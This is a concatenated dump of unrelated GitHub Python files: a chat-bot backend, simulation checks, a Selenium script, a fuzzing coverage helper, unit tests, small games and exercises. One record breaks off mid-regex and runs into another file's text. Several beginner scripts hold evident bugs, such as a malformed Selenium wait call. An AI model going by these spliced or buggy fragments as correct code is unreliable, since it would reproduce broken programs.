log.debug(f\"Handle room message\\n\"\n f\"Room: {room}\\n\"\n f\"Event: {event}\")\n\n if not isinstance(event, nio.RoomMessageText):\n log.warning(\"Unhandled message type (not a text message) ignored\")\n return\n\n message_instance = self.build_message(event.body)\n message_instance.frm = MatrixNioRoomOccupant(\n event.sender,\n full_name=room.user_name(event.sender),\n emails=[event.sender],\n client=self.client,\n room=room.room_id\n )\n room_instance = MatrixNioRoom(\n room.room_id,\n title=room.name,\n subject=room.display_name,\n client=self.client\n )\n message_instance.to = room_instance\n self.callback_message(message_instance)\n\n def send_message(self, msg: Message) -> RoomSendResponse:\n log.debug(f\"Sending message {msg}\")\n super().send_message(msg)\n result = asyncio.run_coroutine_threadsafe(self._send_message(msg), asyncio.get_event_loop())\n return result\n\n async def _send_message(self, msg: Message) -> RoomSendResponse:\n msg_data = {\n 'msgtype': \"m.text\",\n 'body': msg.body\n }\n result = await self.client.room_send(\n room_id=str(msg.to.room),\n message_type='m.room.message',\n content=msg_data\n )\n # TODO RoomSendError not trapped properly\n if isinstance(result, RoomSendResponse):\n return result\n else:\n raise ValueError(f\"An exception occurred while trying to send the following message \"\n f\"to {msg.to}: {msg.body}\\n{result}\")\n\n def connect_callback(self) -> None:\n # TODO implement this\n pass\n\n def disconnect_callback(self) -> None:\n # TODO implement this\n pass\n\n def is_from_self(self, msg: Message) -> bool:\n return msg.frm.id == self.client.user_id\n\n def change_presence(self, status: str = ONLINE, message: str = '') -> None:\n # TODO implement this\n # At this time, this backend doesn't support presence\n pass\n\n async def build_identifier(self, txtrep: str) -> MatrixNioPerson:\n log.debug(f\"Build id : {txtrep}\")\n profile = await asyncio.gather(\n self.client.get_profile(txtrep)\n )\n if len(profile) == 1 and isinstance(profile[0], nio.responses.ProfileGetResponse):\n return MatrixNioPerson(txtrep,\n full_name=profile[0].displayname,\n emails=[txtrep],\n client=self.client)\n else:\n raise ValueError(f\"An error occured while fetching identifier: {profile}\")\n\n def build_reply(self,\n msg: Message,\n text: str = None,\n private: bool = False,\n threaded: bool = False) -> Message:\n # TODO : Include marker for threaded response\n response = self.build_message(f\"{msg.body}\\n{text}\")\n response.to = msg.frm\n return response\n\n @property\n def mode(self) -> str:\n return \"matrix-nio\"\n\n def query_room(self, room) -> Optional[MatrixNioRoom]:\n if room in self.client.rooms:\n return MatrixNioRoom.from_matrix_room(self.client.rooms[room], self.client)\n else:\n return None\n\n def rooms(self) -> Optional[Dict[str, MatrixNioRoom]]:\n result = {}\n for matrix_room in self.client.rooms.values():\n result[matrix_room.room_id] = MatrixNioRoom.from_matrix_room(matrix_room, self.client)\n return result\n\n def prefix_groupchat_reply(self, message: Message, identifier: MatrixNioPerson) -> None:\n message.body = f\"@{identifier.fullname} {message.body}\"\n","repo_name":"clouetb/errbot-backend-matrix-nio","sub_path":"matrix_nio.py","file_name":"matrix_nio.py","file_ext":"py","file_size_in_byte":14093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23612162603","text":"#!/usr/bin/env python3\n\"\"\" @package ./examples/galaxy_merger_star_formation_3d/check.py\nCode that checks results of 3d galaxy merger problem\n\ncreated by Rainer Weinberger, last modified 09.03.2019\n\"\"\"\n# load libraries\nimport os.path\nimport sys ## system calls\nimport numpy as np ## load numpy\nimport h5py ## load h5py; needed to read snapshots\nimport matplotlib\nimport matplotlib.pyplot as plt ## plot stuff\nmatplotlib.rc_file_defaults()\nfrom scipy.interpolate import interp1d ## interpolation\n\nsimulation_directory = str(sys.argv[1])\nprint(\n 'galaxy_merger_star_formation_3d: checking simulation output in directory '\n + simulation_directory)\n\ncreateReferenceSolution = False\ncreateFigures = False\n\nFloatType = np.float64 # double precision: np.float64, for single use np.float32\nGcgs = 6.6738e-8\n# compare to reference output\ndata = np.loadtxt(os.path.join(simulation_directory, 'output', 'sfr.txt'))\nif createReferenceSolution:\n np.savetxt(os.path.join(simulation_directory, 'sfr_reduced_ref.txt'),\n data[::50, :])\nnp.savetxt(os.path.join(simulation_directory, 'sfr_reduced_ref.new.txt'),\n data[::50, :])\n\ndata_ref = np.loadtxt(os.path.join(simulation_directory,\n 'sfr_reduced_ref.txt'))\ntime_ref = data_ref[:, 0]\nmstar_ref = data_ref[:, 5]\n\ntime = data[:, 0]\nmstar = data[:, 5]\n\ntime_probe = np.linspace(0.5, 2.8, 10)\ndelta_mass_stars = np.zeros(time_probe.shape)\navg_mass_stars = np.zeros(time_probe.shape)\n\nfor i, t in enumerate(time_probe):\n delta_mass_stars[i] = np.interp(t, time, mstar)\n delta_mass_stars[i] -= np.interp(t, time_ref, mstar_ref)\n avg_mass_stars[i] = 0.5 * np.interp(t, time, mstar)\n avg_mass_stars[i] += 0.5 * np.interp(t, time_ref, mstar_ref)\n\nif createFigures:\n fig, ax = plt.subplots(2,\n 3,\n figsize=np.array([6.9, 5.35]),\n sharex=True,\n sharey=True)\n fig.subplots_adjust(hspace=0.0,\n wspace=0.0,\n left=0.1,\n right=0.98,\n bottom=0.1,\n top=0.98)\n\n ax[0, 0].set_xticks([300, 320, 340])\n ax[0, 0].set_yticks([300, 325, 350])\n\nfor i_plot, i_snap in enumerate([10, 11, 12, 21, 22, 24]):\n filename = os.path.join('output', 'snap_%03d.hdf5' % i_snap)\n print(os.path.join(simulation_directory, filename))\n try:\n data = h5py.File(os.path.join(simulation_directory, filename), 'r')\n except:\n break\n ## figure\n pos1 = np.array(data['PartType1']['Coordinates'], dtype=np.float64)\n pos2 = np.array(data['PartType2']['Coordinates'], dtype=np.float64)\n pos3 = np.array(data['PartType3']['Coordinates'], dtype=np.float64)\n pos4 = np.array(data['PartType4']['Coordinates'], dtype=np.float64)\n\n ix = np.int(i_plot % 3)\n iy = np.int(i_plot / 3)\n\n if createFigures:\n ax[iy, ix].scatter(pos2[:, 0],\n pos2[:, 1],\n marker='.',\n c='k',\n s=0.05,\n alpha=0.5,\n rasterized=True,\n zorder=2)\n ax[iy, ix].scatter(pos3[:, 0],\n pos3[:, 1],\n marker='.',\n c='k',\n s=0.05,\n alpha=0.5,\n rasterized=True,\n zorder=2)\n ax[iy, ix].scatter(pos4[:, 0],\n pos4[:, 1],\n marker='.',\n c='red',\n s=0.05,\n alpha=0.2,\n rasterized=True,\n zorder=3)\n ax[iy, ix].set_aspect('equal')\n ax[iy, ix].set_xlim([295, 355])\n ax[iy, ix].set_ylim([290, 360])\n\nif createFigures:\n ## trajectory\n filename = os.path.join('output', 'snap_%03d.hdf5' % 0)\n data = h5py.File(os.path.join(simulation_directory, filename), 'r')\n pos2 = np.array(data['PartType2']['Coordinates'], dtype=np.float64)\n ids2 = np.array(data['PartType2']['ParticleIDs'], dtype=np.int32)\n i_gal1 = np.where(pos2[:, 0] < 320)[0]\n i_gal2 = np.where(pos2[:, 0] > 330)[0]\n id_gal1 = ids2[i_gal1]\n id_gal2 = ids2[i_gal2]\n\n pos_gal1 = np.zeros([32, 3], dtype=np.float64)\n pos_gal2 = np.zeros([32, 3], dtype=np.float64)\n\n for i_snap in np.arange(32):\n filename = os.path.join('output', 'snap_%03d.hdf5' % i_snap)\n try:\n data = h5py.File(os.path.join(simulation_directory, filename), 'r')\n except:\n break\n pos2 = np.array(data['PartType2']['Coordinates'], dtype=np.float64)\n ids2 = np.array(data['PartType2']['ParticleIDs'], dtype=np.int32)\n ids, i_gal1, dummy = np.intersect1d(ids2, id_gal1, return_indices=True)\n ids, i_gal2, dummy = np.intersect1d(ids2, id_gal2, return_indices=True)\n\n pos_gal1[i_snap, :] = np.average(pos2[i_gal1, :], axis=0)\n pos_gal2[i_snap, :] = np.average(pos2[i_gal2, :], axis=0)\n\n p1x = interp1d(np.arange(32), pos_gal1[:, 0], kind='cubic')\n p1y = interp1d(np.arange(32), pos_gal1[:, 1], kind='cubic')\n p2x = interp1d(np.arange(32), pos_gal2[:, 0], kind='cubic')\n p2y = interp1d(np.arange(32), pos_gal2[:, 1], kind='cubic')\n\n interp = np.linspace(0, 10, 1000)\n ax[0, 0].plot(p1x(interp), p1y(interp), 'b:', alpha=0.5, lw=4, zorder=1)\n ax[0, 0].plot(p2x(interp), p2y(interp), 'b--', alpha=0.5, lw=4, zorder=1)\n\n interp = np.linspace(0, 11, 1000)\n ax[0, 1].plot(p1x(interp), p1y(interp), 'b:', alpha=0.5, lw=4, zorder=1)\n ax[0, 1].plot(p2x(interp), p2y(interp), 'b--', alpha=0.5, lw=4, zorder=1)\n\n interp = np.linspace(0, 12, 1000)\n ax[0, 2].plot(p1x(interp), p1y(interp), 'b:', alpha=0.5, lw=4, zorder=1)\n ax[0, 2].plot(p2x(interp), p2y(interp), 'b--', alpha=0.5, lw=4, zorder=1)\n\n interp = np.linspace(11, 21, 1000)\n ax[1, 0].plot(p1x(interp), p1y(interp), 'b:', alpha=0.5, lw=4, zorder=1)\n ax[1, 0].plot(p2x(interp), p2y(interp), 'b--', alpha=0.5, lw=4, zorder=1)\n\n interp = np.linspace(12, 22, 1000)\n ax[1, 1].plot(p1x(interp), p1y(interp), 'b:', alpha=0.5, lw=4, zorder=1)\n ax[1, 1].plot(p2x(interp), p2y(interp), 'b--', alpha=0.5, lw=4, zorder=1)\n\n interp = np.linspace(14, 24, 1000)\n ax[1, 2].plot(p1x(interp), p1y(interp), 'b:', alpha=0.5, lw=4, zorder=1)\n ax[1, 2].plot(p2x(interp), p2y(interp), 'b--', alpha=0.5, lw=4, zorder=1)\n\n ax[0, 0].set_ylabel(r'[kpc]')\n ax[1, 0].set_ylabel(r'[kpc]')\n ax[1, 0].set_xlabel(r'[kpc]')\n ax[1, 1].set_xlabel(r'[kpc]')\n ax[1, 2].set_xlabel(r'[kpc]')\n\n fig.savefig(os.path.join(simulation_directory, 'stars_evolution.pdf'))\n # figure -- optional\n fig = plt.figure()\n ax = plt.axes([0.15, 0.15, 0.8, 0.8])\n ax.plot(time, mstar * 1e10 / 0.6774, label='new')\n ax.plot(time_ref, mstar_ref * 1e10 / 0.6774, label='ref')\n ax.set_xlabel(r'time')\n ax.set_ylabel(r'Stellar mass formed [M$_\\odot$]')\n ax.legend(loc=2)\n fig.savefig(os.path.join(simulation_directory, 'Mstar_time.pdf'))\n# check if deviations within tolerance\nabs_tolerance = 3.e8 / (1.e10 / 0.6774)\nif np.max(np.abs(delta_mass_stars)) > abs_tolerance:\n print(\n 'Error: stellar mass deviaties from reference more than %g (Msun): ' %\n abs_tolerance)\n print('times:')\n print(time_probe)\n print('relative deviation:')\n print(delta_mass_stars / avg_mass_stars)\n print('absolute deviation (1e6 Msun):')\n print(delta_mass_stars * 1.0e4 / 0.6774)\n sys.exit(1)\n","repo_name":"akbhowmi/merging_arepo_branches","sub_path":"examples/galaxy_merger_star_formation_3d/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":7723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34399092193","text":"import re\nimport urllib\n\ndef getHtml(url):\n\tpage=urllib.urlopen(url)\n\treturn page.read()\n\ndef getImg(html):\n\n\timgre = re.compile(r', ) - looks up value for provided key while providing a fallback value if the key does not exist \n - my_dict.setdefault(, ) - if the key does not exist, insert the key, with the specified value\n - my_dict.popitem() - removes the last inserted item\n - my_dict.clear() - empties the whole dictionary\n - dict.fromkeys(, ) - returns a dictionary with the specified keys and the specified value (all the values are the same)\n\"\"\"\ncountries = {\n \"CH\": \"Switzerland\",\n \"US\": \"United States\",\n \"RS\": \"Serbia\"\n}\ncountry = countries.get(\"DE\") # returns None by default\n\n# adds new entry with \"DE\" : \"Undefined\" key-value pair\ncountry = countries.setdefault(\"DE\", \"Undefined\")\n\ncontry = countries.popitem()\n\nalphabets = {'a', 'b', 'c'}\nnumber = 1\nmy_dict = dict.fromkeys(alphabets, number) # {'a': 1, 'c': 1, 'b': 1}\n\n\n\n\n\n\n\n\n\n\"\"\"\n - Merging two dictionaries can be done using double asterisk (**)\n - Merging two dictionaries can be done using update() method\n - Merging two dictionaries can be done using | or |= operator\n - Later keys override previous.\n\"\"\"\nmy_dict1 = {'a': 1, 'b': 2}\nmy_dict2 = {'c': 3, 'd': 4}\nmy_dict3 = {**my_dict1, **my_dict2}\nmy_dict3 = {}\nmy_dict3.update(my_dict1)\nmy_dict3.update(my_dict2)\nmy_dict3 = {}\nmy_dict3 = my_dict1 | my_dict2\nmy_dict1 |= my_dict2\n","repo_name":"stojkovm/PT2022","sub_path":"Day01/Code_Samples/D1_08_Dictionaries/D1_02_dictionary_methods.py","file_name":"D1_02_dictionary_methods.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33673424221","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\n\n# Initialize the browser\ndriver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))\n\n# Add implicit wait\ndriver.implicitly_wait(2)\n# Maximize the window\ndriver.maximize_window()\n# refresh the window\ndriver.refresh()\n\ndriver.get(\"https://www.google.com\")\n\n\ndriver.get(\"https://google.com\")\nprint(driver.title)\ntime.sleep(3)\n\n# Find the search bar by namme\nsearch_bar = driver.find_element(By.NAME, 'q')\n\n# Enter a search term\nsearch_bar.send_keys(\"Selenium\")\n\n\n#find search button\nsearch_bth = driver.find_element(By.NAME,'btnK')\nsearch_bar.click()\n\n# Wait for the search results to load\nWebDriverWait(driver,10).until(EC.presence_of_element_located(By.ID,\"\"))\n\n# Get all the search results\nsearch_results = driver.find_elements(By.XPATH,\"//div[@class='g']\")\n\n# loop through the search results\nfor search_result in search_results:\n # Get the href of the search result\n href = search_result.find_element(By.XPATH,\".//a\").get_attribute(\"href\")\n\n # Check if the href contains the text 'https://selenium.dev'\n if \"https://www.selenium.dev/\" in href:\n print(f\"Found the search result: {href}\")\n\ndriver.quit()\n\n\n\n\n\n\n\n\ndriver.quit()","repo_name":"vicky-ops/WishBox_assignment","sub_path":"seleniumSessions/explicit_wait.py","file_name":"explicit_wait.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39463807989","text":"import os\nimport sys\nimport signal\nimport argparse\nimport subprocess\nimport sys\nimport json\nimport threading\nimport shutil\n\n\ndef build_proj_with_default(project_name):\n try:\n subprocess.check_call(\"python3 infra/helper.py build_fuzzers %s\"%(project_name), shell=True)\n except:\n print(\"Building default failed\")\n exit(5)\n\ndef build_proj_with_coverage(project_name):\n try:\n subprocess.check_call(\"python3 infra/helper.py build_fuzzers --sanitizer=coverage %s\"%(project_name), shell=True)\n except:\n print(\"Building with coverage failed\")\n exit(5)\n\ndef get_fuzzers(project_name):\n execs = []\n for l in os.listdir(\"build/out/%s\"%(project_name)):\n print(\"Checking %s\"%(l))\n complete_path = os.path.join(\"build/out/%s\"%(project_name), l)\n executable = (os.path.isfile(complete_path) and os.access(complete_path, os.X_OK))\n if executable:\n execs.append(l)\n print(\"Executable files: %s\"%(str(execs)))\n return execs\n\ndef get_next_corpus_dir():\n max_idx = -1\n for f in os.listdir(\".\"):\n if \"corpus-\" in f:\n try:\n idx = int(f[len(\"corpus-\"):])\n if idx > max_idx: \n max_idx = idx\n except:\n None\n return \"corpus-%d\"%(max_idx+1)\n\ndef get_recent_corpus_dir():\n max_idx = -1\n for f in os.listdir(\".\"):\n if \"corpus-\" in f:\n try:\n idx = int(f[len(\"corpus-\"):])\n if idx > max_idx: \n max_idx = idx\n except:\n None\n return \"corpus-%d\"%(max_idx)\n\ndef run_all_fuzzers(project_name, fuzztime):\n # First get all fuzzers names\n fuzzer_names = get_fuzzers(project_name)\n\n corpus_dir = get_next_corpus_dir()\n os.mkdir(corpus_dir)\n for f in fuzzer_names:\n print(\"Running %s\"%(f))\n target_corpus = \"./%s/%s\"%(corpus_dir, f)\n target_crashes = \"./%s/%s\"%(corpus_dir, \"crashes_%s\"%(f))\n os.mkdir(target_corpus)\n os.mkdir(target_crashes)\n\n cmd = [\"python3 ./infra/helper.py run_fuzzer --corpus-dir=%s %s %s -max_total_time=%d -detect_leaks=0\"%(target_corpus, project_name, f, fuzztime)]\n try:\n subprocess.check_call(\" \".join(cmd), shell=True)\n print(\"Execution finished without exception\")\n except:\n print(\"Executing finished with exception\")\n\n # Now check if there are any crash files.\n for l in os.listdir(\".\"):\n if \"crash-\" in l or \"leak-\" in l:\n shutil.move(l, target_crashes)\n\ndef get_coverage(project_name):\n #1 Find all coverage reports\n corpus_dir = get_recent_corpus_dir()\n\n #2 Copy them into the right folder\n for f in os.listdir(corpus_dir):\n if os.path.isdir(\"build/corpus/%s/%s\"%(project_name, f)):\n shutil.rmtree(\"build/corpus/%s/%s\"%(project_name, f))\n shutil.copytree(os.path.join(corpus_dir, f), \"build/corpus/%s/%s\"%(project_name, f))\n\n #3 run coverage command\n try:\n subprocess.check_call(\"python3 infra/helper.py coverage --no-corpus-download %s\"%(project_name), shell=True)#, timeout=60)\n except:\n print(\"Could not run coverage reports\")\n\n\n #try:\n # subprocess.check_call(\"docker kill $(docker ps -qa)\", shell=True)\n #except:\n # None\n\n print(\"Copying report\")\n shutil.copytree(\"./build/out/%s/report\"%(project_name), \"./%s/report\"%(corpus_dir))\n try:\n summary_file = \"build/out/%s/report/linux/summary.json\"%(project_name)\n with open(summary_file, \"r\") as fj:\n content = json.load(fj)\n for dd in content['data']:\n if \"totals\" in dd:\n if \"lines\" in dd['totals']:\n print(\"lines: %s\"%(dd['totals']['lines']['percent']))\n lines_percent = dd['totals']['lines']['percent'] \n print(\"lines_percent: %s\"%(lines_percent))\n return lines_percent\n except:\n return None\n\n # Copy the report into the corpus directory\n print(\"Finished\")\n\n\ndef complete_coverage_check(project_name, fuzztime):\n build_proj_with_default(project_name)\n run_all_fuzzers(project_name, fuzztime)\n build_proj_with_coverage(project_name)\n percent = get_coverage(project_name)\n \n return percent\n\ndef get_single_cov(project, target, corpus_dir):\n print(\"BUilding single project\")\n build_proj_with_coverage(project)\n\n try:\n subprocess.check_call(\"python3 infra/helper.py coverage --no-corpus-download --fuzz-target %s --corpus-dir %s %s\"%(target, corpus_dir, project_name), shell=True)#, timeout=60)\n except:\n print(\"Could not run coverage reports\")\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"usage: python3 ./get_full_coverage.py PROJECT_NAME FUZZTIME\")\n exit(5)\n try:\n fuzztime = int(sys.argv[2])\n except:\n fuzztime = 40\n print(\"Using fuzztime %d\"%(fuzztime))\n\n complete_coverage_check(sys.argv[1], fuzztime)\n","repo_name":"AdaLogics/fuzz-introspector","sub_path":"oss_fuzz_integration/get_full_coverage.py","file_name":"get_full_coverage.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"15618087727","text":"from mock import *\nfrom gp_unittest import *\nfrom gppylib.gparray import GpArray, Segment\nfrom gppylib.commands.base import WorkerPool, CommandResult\n\nclass GpMirrorListToBuildTestCase(GpTestCase):\n\n def setUp(self):\n self.pool = WorkerPool()\n\n def tearDown(self):\n # All background threads must be stopped, or else the test runner will\n # hang waiting. Join the stopped threads to make sure we're completely\n # clean for the next test.\n self.pool.haltWork()\n self.pool.joinWorkers()\n super(GpMirrorListToBuildTestCase, self).tearDown()\n\n def test_pg_rewind_parallel_execution(self):\n self.apply_patches([\n # Mock CHECKPOINT command in run_pg_rewind() as successful\n patch('gppylib.db.dbconn.connect', return_value=Mock()),\n patch('gppylib.db.dbconn.execSQL', return_value=Mock()),\n # Mock the command to remove postmaster.pid as successful\n patch('gppylib.commands.base.Command.run', return_value=Mock()),\n patch('gppylib.commands.base.Command.get_return_code', return_value=0),\n # Mock gplog which is used in RewindSegmentInfo below\n patch('gppylib.gplog.get_logger_dir', return_value=Mock()),\n # Mock all pg_rewind commands to be not successful\n patch('gppylib.commands.base.Command.was_successful', return_value=False),\n patch('gppylib.commands.base.Command.get_stdout', return_value='Mocking results'),\n patch('gppylib.commands.base.Command.results', return_value=CommandResult(1, 'stdout:Failed', 'stderr:Failed', True, False))\n ])\n from gppylib.operations.buildMirrorSegments import GpMirrorListToBuild\n # WorkerPool is the only valid parameter required in this test\n # case. The test expects the workers to get a pg_rewind\n # command to run (and the command should fail to run).\n g = GpMirrorListToBuild(1, self.pool, 1,1)\n rewindInfo = {}\n p0 = Segment.initFromString(\"2|0|p|p|s|u|sdw1|sdw1|40000|/data/primary0\")\n p1 = Segment.initFromString(\"3|1|p|p|s|u|sdw2|sdw2|40001|/data/primary1\")\n m0 = Segment.initFromString(\"4|0|m|m|s|u|sdw2|sdw2|50000|/data/mirror0\")\n m1 = Segment.initFromString(\"5|1|m|m|s|u|sdw1|sdw1|50001|/data/mirror1\")\n rewindInfo[p0.dbid] = GpMirrorListToBuild.RewindSegmentInfo(\n p0, p0.address, p0.port, \"unused_timestamp\")\n rewindInfo[p1.dbid] = GpMirrorListToBuild.RewindSegmentInfo(\n p1, p1.address, p1.port, \"unused_timestamp\")\n rewindInfo[m0.dbid] = GpMirrorListToBuild.RewindSegmentInfo(\n m0, m0.address, m0.port, \"unused_timestamp\")\n rewindInfo[m1.dbid] = GpMirrorListToBuild.RewindSegmentInfo(\n m1, m1.address, m1.port, \"unused_timestamp\")\n\n # Test1: all 4 pg_rewind commands should fail due the \"was_successful\" patch\n failedSegments = g.run_pg_rewind(rewindInfo)\n self.assertEqual(len(failedSegments), 4)\n # The returned list of failed segments should contain items of\n # type gparray.Segment\n failedSegments.remove(p0)\n self.assertTrue(failedSegments[0].getSegmentDbId() > 0)\n\n # Test2: patch it such that no failures this time\n patch('gppylib.commands.base.Command.was_successful', return_value=True).start()\n failedSegments = g.run_pg_rewind(rewindInfo)\n self.assertEqual(len(failedSegments), 0)\n\nif __name__ == '__main__':\n run_tests()\n\n","repo_name":"ZiHao256/InfoPlan","sub_path":"ARENA_system/back_end/gpdb_src/gpMgmt/bin/gppylib/test/unit/test_unit_buildmirrorsegments.py","file_name":"test_unit_buildmirrorsegments.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11227518146","text":"import pygame\nfrom algo import *\nfrom constants import *\nfrom helper import *\n\n\nWIN = pygame.display.set_mode((WIDTH, WIDTH))\npygame.display.set_caption(\"Path Finder\")\n\n\ndef main(win, width):\n ROWS = 50\n grid = makeGrid(ROWS, width)\n\n start = None\n end = None\n\n run = True\n started = False\n while run:\n draw(win, grid, ROWS, width)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n run = False\n if started:\n continue\n # Getting the clicked mouse position\n if pygame.mouse.get_pressed()[0]: # Left Mouse Button\n pos = pygame.mouse.get_pos()\n row, col = getClickedPos(pos, ROWS, width)\n spot = grid[row][col]\n if not start and spot != end:\n start = spot\n start.makeStart()\n\n elif not end and spot != start:\n end = spot\n end.makeEnd()\n\n elif spot != end and spot != start:\n spot.makeBarrier()\n\n elif pygame.mouse.get_pressed()[2]: # Right Mouse Button\n pos = pygame.mouse.get_pos()\n row, col = getClickedPos(pos, ROWS, width)\n spot = grid[row][col]\n spot.reset()\n if spot == start:\n start = None\n elif spot == end:\n end = None\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE and start and end:\n for row in grid:\n for spot in row:\n spot.updateNeighbors(grid)\n\n Algorithm(lambda: draw(win, grid, ROWS, width),\n grid, start, end)\n\n if event.key == pygame.K_c:\n start = None\n end = None\n grid = makeGrid(ROWS, width)\n\n pygame.quit()\n\n\nif __name__ == \"__main__\":\n main(WIN, WIDTH)\n","repo_name":"TosmimForidMehtab/PathFinder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32722945065","text":"from rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .models import Account\nfrom .serializers import RecordSerializer\n\n@api_view(['GET'])\ndef accounts_list(request, pk, format=None):\n try:\n record = Account.objects.get(pk=pk)\n except Account.DoesNotExist as e:\n data = {\n \"codigo\": 400,\n \"mensaje\" : \"El id de usuario no existe\",\n }\n\n return Response(data, status=status.HTTP_404_NOT_FOUND)\n\n if request.method == 'GET':\n serializer=RecordSerializer(record)\n\n data = {\n \"codigo\": 200,\n \"mensaje\": \"Petición completada\",\n \"payload\" : serializer.data\n }\n\n return Response(data)\n","repo_name":"hugrozki/clinicfiles","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21808512223","text":"N = int(input())\r\nN_num = []\r\nM_num = []\r\ncount_n = 0\r\ncount_m = 0\r\nwhile True:\r\n num = int(input())\r\n N_num.append(num)\r\n print(num)\r\n count_n += 1\r\n if count_n == N:\r\n break\r\nfor i in N_num:\r\n print(i)\r\nM = int(input())\r\nwhile True:\r\n num = int(input())\r\n M_num.append(num)\r\n print(num)\r\n count_n += 1\r\n if count_n == M:\r\n break\r\nfor i in M_num:\r\n print(i)\r\nc = 0\r\nfor t in range(0, N):\r\n for i in range(0, M):\r\n if M_num[t] == N_num[i]:\r\n c += 1\r\n if c == 1:\r\n print(1)\r\n c = 0\r\n else:\r\n print(0)\r\n\r\n'''\r\n----------------------------------------\r\nn = int(input())\r\nA = list(map(int, input().split()))\r\nA.sort()\r\nm = int(input())\r\nB = list(map(int, input().split()))\r\n\r\nfor i in B:\r\n high = n-1\r\n low = 0\r\n mid = (high+low)//2\r\n rec = 0\r\n while low<=high:\r\n if A[mid]== i:\r\n rec = 1\r\n break\r\n elif A[mid]i:\r\n high= mid-1\r\n mid = (high+low)//2\r\n\r\n print(rec)\r\n \r\n-----------------------------------\r\nimport sys\r\nn = int(sys.stdin.readline())\r\nA = list(map(int, sys.stdin.readline().split()))\r\nA.sort()\r\nm = int(sys.stdin.readline())\r\nB = list(map(int, sys.stdin.readline().split()))\r\n\r\nfor i in B:\r\n high = n-1\r\n low = 0\r\n mid = (high+low)//2\r\n rec = 0\r\n while low<=high:\r\n if A[mid]== i:\r\n rec = 1\r\n break\r\n elif A[mid]i:\r\n high= mid-1\r\n mid = (high+low)//2\r\n\r\n print(rec)\r\n\r\n'''\r\n\r\n\r\n","repo_name":"jessica3579/SUJI","sub_path":"find_num.py","file_name":"find_num.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"21254837464","text":"import RPi.GPIO as GPIO\nfrom datetime import datetime\nfrom time import sleep\nfrom picamera2 import Picamera2, Preview\nimport os\n\nimport pyrebase\nimport sys\n\nconfig = {\n \"apiKey\": \"***\",\n \"authDomain\":\"***\",\n \"databaseURL\": \"***\",\n 'projectId': \"***\",\n \"storageBucket\": \"***.appspot.com\",\n 'messagingSenderId': \"***\",\n 'appId': \"***\",\n 'measurementId': \"***\"\n}\n\nfirebase = pyrebase.initialize_app(config)\n\nstorage = firebase.storage()\n\n\npicam2 = Picamera2()\n\nwhile True:\n try:\n print(\"pushed\")\n now = datetime.now()\n dt = now.strftime(\"%d%m%Y%H:%M:%S\")\n name = dt+\".jpg\"\n \n camera_config = picam2.create_still_configuration(main={\"size\": (1920, 1080)}, lores={\"size\": (640, 480)}, display=\"lores\")\n picam2.configure(camera_config)\n picam2.start_preview(Preview.QTGL)\n picam2.start()\n picam2.capture_file(name)\n\n print(name+\" saved\")\n storage.child(name).put(name)\n print(\"Image sent\")\n os.remove(name)\n print(\"File Removed\")\n sleep(2)\n except:\n picam2.close()\n \n\n\n\n \n \n","repo_name":"munevverelifay/CSharp-Smart-Home","sub_path":"camera_test.py","file_name":"camera_test.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11172634076","text":"def solution(people, limit):\n start = 0\n end = len(people) - 1\n\n pair_count = 0\n\n people.sort()\n\n while (start < end):\n if (people[start] + people[end]) <= limit:\n start += 1\n pair_count += 1\n\n end -= 1\n\n return len(people) - pair_count","repo_name":"b2s-study/ps-study-step1","sub_path":"Programmers/wonjunYou/구명보트.py","file_name":"구명보트.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"32390100602","text":"import numpy as np\nfrom sklearn import svm\nfrom sklearn.metrics import accuracy_score\nfrom eeg_loader_ha import *\nfrom config import *\nfrom train_config import ResultDir\n\ninput_config = dict(window_len=80, overlap=0, mesh=False, one_hot=False)\n\ntrain_index_t, train_index_r, valid_index_t, valid_index_r = split_ha(ResultDir)\ntrain_X, train_y, train_D = load_data_from_file(train_index_r, train_index_t)\n\nhyp = hyperalignment()\nmappers = hyp.train(train_X)\n\ntrain_X = [mappers[i].transform(x) for i, x in enumerate(train_X)]\n\nfname = os.path.join(ResultDir, 'mappers.pkl')\nwith open(fname, 'wb') as f:\n pickle.dump(mappers, f)\n\ntrain_X, train_y = get_data(train_X, train_y, train_D, **input_config)\n\nvalid_X, valid_y, valid_D = load_data_from_file(valid_index_r, valid_index_t)\nvalid_X = [mappers[i].transform(x) for i, x in enumerate(valid_X)]\nvalid_X, valid_y = get_data(valid_X, valid_y, 